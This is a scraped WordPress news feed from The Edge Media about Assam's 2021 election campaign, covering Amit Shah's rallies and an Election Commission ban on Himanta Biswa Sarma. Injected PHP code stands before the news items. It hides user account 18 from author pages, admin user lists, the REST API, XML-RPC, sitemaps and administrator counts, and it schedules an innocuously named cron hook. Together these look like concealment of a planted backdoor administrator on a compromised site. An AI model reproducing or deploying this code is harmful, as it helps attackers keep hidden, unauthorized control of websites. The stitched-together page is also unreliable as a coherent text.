add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Big relief to Hemant Biswa Sarma, Election Commission reduced 48-hour ban to 24 hours appeared first on The Edge Media.
]]>The post Big relief to Hemant Biswa Sarma, Election Commission reduced 48-hour ban to 24 hours appeared first on The Edge Media.
]]>The post Amit Shah to address public rallies in Assam’s Bijni, Hajo and Dispur today appeared first on The Edge Media.
]]>Shah will address the rallies in Bijni, Hajo and Dispur
The ruling BJP – seeking to return to power – has rushed a battery of leaders from across the country to campaign intensely in Assam and other poll-bound states. Apart from Prime Minister Narendra Modi, senior BJP leaders including Union ministers Smriti Irani, Jitendra Singh, Mukhtar Abbas Naqvi, Uttar Pradesh chief minister Yogi Adityanath and Madhya Pradesh chief minister Shivraj Singh Chouhan are among those who have campaigned in Assam. Senior state BJP leader Himanta Biswa Sarma also extensively campaigned in the state.
The key players including the ruling NDA, Congress-led Mahajath have made hard efforts to woo voters on 39 seats that will go to the polls on April 1.
The second phase of elections will decide the fate of 345 candidates in 39 seats across 13 districts (of the total 126), where over 7.3 million voters will exercise their franchise. In the first phase, polling took place in 47 seats in 12 districts on March 27. In the third and final phase, 40 seats will go to polls on April 6.
Prominent candidates in the second phase include Parimal Suklabaidya (Dholai), Pijush Hazarika (Jagiroad), Bhabesh Kalita (Rangia), all ministers in the state’s Bharatiya Janata Party-led government, and the assembly deputy speaker Aminul Haque Laskar (Sonai).
The main contest is seen to be between the alliances led by BJP and Congress.
The BJP-led led alliance also includes the Asom Gana Parishad (AGP) and United People’s Party Liberal (UPPL).
The post Amit Shah to address public rallies in Assam’s Bijni, Hajo and Dispur today appeared first on The Edge Media.
]]>